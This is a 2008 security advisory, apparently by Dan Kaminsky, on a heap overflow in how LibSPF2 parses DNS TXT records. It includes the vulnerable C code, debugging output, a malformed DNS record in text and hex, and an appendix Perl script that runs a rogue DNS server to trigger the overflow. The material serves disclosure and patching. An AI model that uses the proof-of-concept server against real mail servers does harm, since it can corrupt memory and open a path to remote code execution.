Lucene search

K

libspf2-parsing.txt

๐Ÿ—“๏ธย 23 Oct 2008ย 00:00:00Reported byย Dan KaminskyTypeย 
packetstorm
ย packetstorm
๐Ÿ”—ย packetstormsecurity.com๐Ÿ‘ย 24ย Views

Advisory: DNS TXT Record Parsing Bug in LibSPF2 leads to remote code execution and privacy concerns. Recommendations and details included

Show more
Code
`Advisory: DNS TXT Record Parsing Bug in LibSPF2  
Author: Dan Kaminsky, Director of Penetration Testing, IOActive Inc,   
[email protected] (PGP Key In Appendix)  
Abstract:  
  
A relatively common bug parsing TXT records delivered over DNS, dating  
at least back to 2002 in Sendmail 8.2.0 and almost certainly much  
earlier, has been found in LibSPF2, a library frequently used to  
retrieve SPF (Sender Policy Framework) records and apply policy  
according to those records. This implementation flaw allows for  
relatively flexible memory corruption, and should thus be treated as a  
path to anonymous remote code execution. Of particular note is that the  
remote code execution would occur on servers specifically designed to  
receive E-Mail from the Internet, and that these systems may in fact be  
high volume mail exchangers. This creates privacy implications. It is  
also the case that a corrupted email server is a useful โ€œjumping offโ€  
point for attackers to corrupt desktop machines, since attachments can  
be corrupted with malware while the containing message stays intact. So  
there are internal security implications as well, above and beyond  
corruption of the mail server on the DMZ.  
  
Recommendations:  
  
If you are a major mail exchange, you should determine whether the SPAM  
filters that protect your systems use LibSPF2.  
  
If you are a vendor of anti-SPAM devices, or the author of an operating  
system with components that may use LibSPF2, you should determine  
whether LibSPF2 is used in any of your configurations and migrate to  
LibSPF 1.2.8, found at:  
  
http://www.libspf2.org/index.html  
  
If your product has a dependency on DNS TXT records, we recommend you  
test it for the parsing bug that LibSPF2 was vulnerable to, since this  
has been a problem for some time. Name server implementations may want  
to consider adding filtering themselves, though record validation is not  
normally their job.  
  
Details: DNS TXT records have long been a little tricky to parse, due  
to them containing two length fields. First, there is the length field  
of the record as a whole. Then, there is a sublength field, from 0 to  
255, that describes the length of a particular character string inside  
the larger record. There is nothing that links the two values, and DNS  
servers to not themselves enforce sanity checks here. As such, there is  
always a risk that when receiving a DNS TXT record, the outer record  
length will be the amount allocated, but the inner length will be copied.  
  
In the past, weโ€™ve seen this particular bug all over the place,  
including in Sendmail. This is just the same bug, showing up in LibSPF2  
1.2.5:  
  
Spf_dns_resolv.c#SPF_dns_resolv_lookup():  
  
case ns_t_txt:  
if ( rdlen > 1 )  
{  
u_char *src, *dst;  
size_t len;  
  
if ( SPF_dns_rr_buf_realloc( spfrr, cnt, rdlen ) !=  
SPF_E_SUCCESS ) // allocate rdlen bytes at spf->rr[cn]->txt  
return spfrr;  
  
dst = spfrr->rr[cnt]->txt;  
len = 0;  
src = (u_char *)rdata;  
while ( rdlen > 0 )  
{  
len = *src; // get a second length from the attacker  
controlled datastream -- some value from 0 to 255, unbound to rdlen  
src++;  
memcpy( dst, src, len ); // copy that second length to  
rdlen byte buffer.  
dst += len;  
src += len;  
rdlen -= len + 1;  
}  
*dst = '\0';  
  
For validation purposes, a build of LibSPF2 was instrumented, to  
validate the heap overflow:  
  
$ ./spfquery -ip=1.2.3.4 [email protected]  
buffer 8107080 has size 16  
buffer 8107090 has size 16  
buffer 81070a0 has size 16  
writing 255 bytes to a 15 size buffer at 81070a0 // overflow  
buffer 8123030 has size 234  
writing 233 bytes to a 234 size buffer at 8123030  
buffer 81060c0 has size 20  
buffer 81060e0 has size 20  
buffer 8123120 has size 234  
buffer 8106100 has size 31  
StartError  
Context: Failed to query MAIL-FROM  
ErrorCode: (2) Could not find a valid SPF record  
Error: Invalid character in middle of mechanism near 'ร€  
bar.toorrr'  
Error: Failed to compile SPF record for 'bar.toorrr.com'  
EndError  
(invalid)  
  
The actual record used to spawn this behavior was as follows:  
  
;; HEADER SECTION  
;; id = 63838  
;; qr = 1 opcode = QUERY aa = 1 tc = 0 rd = 1  
;; ra = 0 ad = 0 cd = 0 rcode = NOERROR  
;; qdcount = 1 ancount = 2 nscount = 0 arcount = 0  
  
;; QUESTION SECTION (1 record)  
;; bar.toorrr.com. IN TXT  
  
;; ANSWER SECTION (2 records)  
bar.toorrr.com. 0 IN TXT "v=spf1 mx +all"  
bar.toorrr.com. 0 IN TXT   
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"  
  
;; AUTHORITY SECTION (0 records)  
  
;; ADDITIONAL SECTION (0 records)  
  
Or, in hex:  
  
00 01 02 03 04 05 06 07 - 08 09 0A 0B 0C 0D 0E 0F   
0123456789ABCDEF  
  
00000000 F9 5E 85 00 00 01 00 02 - 00 00 00 00 03 62 61 72   
.^...........bar  
00000010 06 74 6F 6F 72 72 72 03 - 63 6F 6D 00 00 10 00 01   
.toorrr.com.....  
00000020 C0 0C 00 10 00 01 00 00 - 00 00 00 0F FF 76 3D 73   
.............v=s  
00000030 70 66 31 20 6D 78 20 2B - 61 6C 6C C0 0C 00 10 00 pf1 mx  
+all.....  
00000040 01 00 00 00 00 00 EA E9 - 41 41 41 41 41 41 41 41   
........AAAAAAAA  
00000050 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41   
AAAAAAAAAAAAAAAA  
00000060 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41   
AAAAAAAAAAAAAAAA  
00000070 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41   
AAAAAAAAAAAAAAAA  
00000080 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41   
AAAAAAAAAAAAAAAA  
00000090 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41   
AAAAAAAAAAAAAAAA  
000000A0 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41   
AAAAAAAAAAAAAAAA  
000000B0 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41   
AAAAAAAAAAAAAAAA  
000000C0 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41   
AAAAAAAAAAAAAAAA  
000000D0 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41   
AAAAAAAAAAAAAAAA  
000000E0 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41   
AAAAAAAAAAAAAAAA  
000000F0 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41   
AAAAAAAAAAAAAAAA  
00000100 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41   
AAAAAAAAAAAAAAAA  
00000110 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41   
AAAAAAAAAAAAAAAA  
00000120 41 41 41 41 41 41 41 41 - 41 41 41 41 41 41 41 41   
AAAAAAAAAAAAAAAA  
00000130 41 A  
  
The altered length field, on 0x2C, is whatโ€™s causing the overflow.   
Sample code to reproduce the above is attached at the end of this paper.  
  
Conclusion:  
  
Thereโ€™s nothing particularly special about this bug โ€“ weโ€™ve even seen  
this in mail servers before. But it is apparently present on some very  
high profile and high traffic systems. SPF is a major part of how the  
Internet attempts to filter SPAM, and while itโ€™s not perfect, it is  
pretty helpful. LibSPF2 is one of the more common libraries out there  
for handling SPF traffic, with billions of messages a day being  
protected by it.  
  
Unfortunately, that also means billions of messages a day are at risk โ€“  
the nature of this flaw is such that an attacker can force arbitrary (or  
at least ASCII encoded, though no nameservers have been found that  
enforce ASCII) bytes to be copied into a buffer too small to contain  
them. This is a straightforward anonymous remote code execution find,  
made interesting specifically by where the bug happens to be.  
  
  
Appendix: Simple code to reproduce heap overflow.  
  
  
# cat spfattack.pl  
#!/usr/bin/perl  
#  
  
use Net::DNS;  
use IO::Socket::INET;  
use Data::HexDump;  
  
  
my $qclass = "IN";  
my $ttl = 10;  
  
while (1){  
my $sock = IO::Socket::INET->new(  
LocalPort => '53',  
Proto => 'udp');  
$sock->recv($newmsg, 2048);  
my $req = Net::DNS::Packet->new(\$newmsg);  
$req->print;  
my $id = $req->header->id();  
my @q = $req->question;  
my $qname = $q[0]->qname;  
my $qtype = $q[0]->qtype;  
if($qtype eq "PTR") { next; }  
$answer = Net::DNS::Packet->new($qname, $qtype);  
if($qtype eq "TXT"){  
$answer->push(answer => Net::DNS::RR->new("$qname 0 $qclass $qtype  
'v=spf1 mx +all'"));  
$answer->push(answer => Net::DNS::RR->new("$qname 0 $qclass $qtype  
'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'"));  
}  
if($qtype eq "MX"){}  
  
$answer->header->id($id);  
$answer->header->aa(1);  
$answer->header->qr(1);  
$answer->print;  
my $port = $sock->peerport;  
my $peer = inet_ntoa($sock->peeraddr);  
  
$sock->shutdown(2);  
$sock = "";  
  
my $tempsock = IO::Socket::INET->new(  
LocalPort=>'53',  
PeerAddr=>"$peer",  
PeerPort=>$port,  
Proto=>'udp');  
  
  
my $newans;  
  
$newans = $answer->data;  
if($qtype eq "TXT"){  
substr($newans, 44, 1, pack("c",0xff));  
print HexDump $newans;  
}  
$tempsock->send($newans);  
  
  
#my $packet = Net::DNS::Packet->new(\$newmsg);  
}  
  
PGP Key for [email protected]:  
  
-----BEGIN PGP PUBLIC KEY BLOCK-----  
Version: GnuPG v1.4.5 (MingW32)  
  
mQGiBET4quERBAChQCcg/KoKkwNDpVoCfKpIFc6d86Xs+9e5yHeFg6bK8ElRUPFp  
CEgjCSu9+LB3xEJFZhw807BbXaytNqa/H6oSvuqThI053dLIjy7zl0o0yNyT6ZTQ  
KvSStycDurEthqXH0grxDVerpDiTz/B9uo3pu9HmV4SDGwpnp3klsg96zwCg+tZa  
JFZ0NeaUYBLQvRJgDBGSonUD/2GwXY+KOc7oKP/lvrdXgkSSuS4+aC9Ce0UGuX/f  
//d2pK7Z/PKPCCipMYTIk8/fIDEd8uZ8ZNdtQTe5BCtwJYJAfeP/JHIAmBlq2jvL  
k83GzaaGPvt4fyTR8uvX0t5g4AhHYL1LdyuCyTndQecewKArKVyHGYbLmPaf1fh3  
dNGAA/0Qu6BrRf65h0jzk5P9b49kJ/+xliOCq4u8oFbVJPM3QAsAc1W8D2a+rxjc  
VFgheTqf56XQk4wD9mE1r19PntwVH7FuOu71mwk6Mboz/7IGBQsh9B+pDkFPfJD8  
y2Qcueudnl7Tt8ijbQF2EBUeu1LPfWATj9b7NfMyG4ZhOzAtzrQoRGFuIEthbWlu  
c2t5IDxEYW4uS2FtaW5za3lAaW9hY3RpdmUuY29tPohgBBMRAgAgBQJE+KrhAhsj  
BgsJCAcDAgQVAggDBBYCAwECHgECF4AACgkQX74rnUOpgcD/7gCdEUsXwl+8QdGt  
tuXk/cKiayQ+ZeIAn3CaH6tN3DhJHQLkPBpLVEW7sKgCiEYEEBECAAYFAkfn9EoA  
CgkQ00k+8NKXq47fXgCff7GLg5KiT3VzjYRZ08vRfItoqE0An2C97W+GW9b61/Oa  
mP1wh492B2kAuQINBET4qwwQCACx6XPvnq5Uhb0howb4AfugArGBzdaejE7DZ4PC  
L+T9oYiW5ZJsSiB5q0X6AkoUCLHbCc1s1zbyuwFsjVSgkYTXX+zU1rJ8mI+HxDch  
NYQy5x8t1vpCeIDBzo4ylHpgpTKoINGhlc4KJv+ixZAbEB+OcTThN3mBgbF1oVdk  
aw8qrYcEl4LjL00qjMmpT5BIo7r/O7HrShRGQBm4gKBG7ufjWqZ8u/+nbty2vwAo  
eJ+v3Apduv9CRaDcouenmIHlx6AC321vhsyLRQrZ0lNKXC2DkYWel3+UTWIQfyws  
zj57Xi8XNHcjcBWd5SOpuBJQ5ZHn68H3ACpGZ86/+LqlQNlPAAMFB/0eOZYgz8LN  
DkgsFQR0Hg4htWWPXAg8QPJs+wXrcP1hLL3z3ljUPPKHUDD+pAh7AR8MH2iGsD0J  
f1ArP7vZiXJCZzPOTwtOZZccpnapckpJA57cy7aEX5y3VESrYCgbtL7pS9ZQZP9Q  
DKsBJ6WqBcxjHljRwlfVnHu+H/ogJEN2EngM04D4ePck8eeCZfYftM2mlpfDAeiD  
UtSfS+I2Vdg7//g4XDV/PCfA8s9U5oQ2Q+S/8di44c1iIX7w2rhYEHh+u3hqOQeD  
eHj7expH6gfgYE77uBnY6342j4PJdF3fDgndoQ31lPORbgafUy11VzNQJ1V8rft0  
gXkz+UhvgewBiEkEGBECAAkFAkT4qwwCGwwACgkQX74rnUOpgcD4IwCfWvJwxRu6  
5auog7Ke5X1f1z1Od3kAnRUI5tjRjUR3i3MI5g9V1L0ZbCVn  
=N3MT  
-----END PGP PUBLIC KEY BLOCK-----  
  
`

Transform Your Security Services

Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contactย us for a demo andย discover the difference comprehensive, actionable intelligence can make in your security strategy.

Book a live demo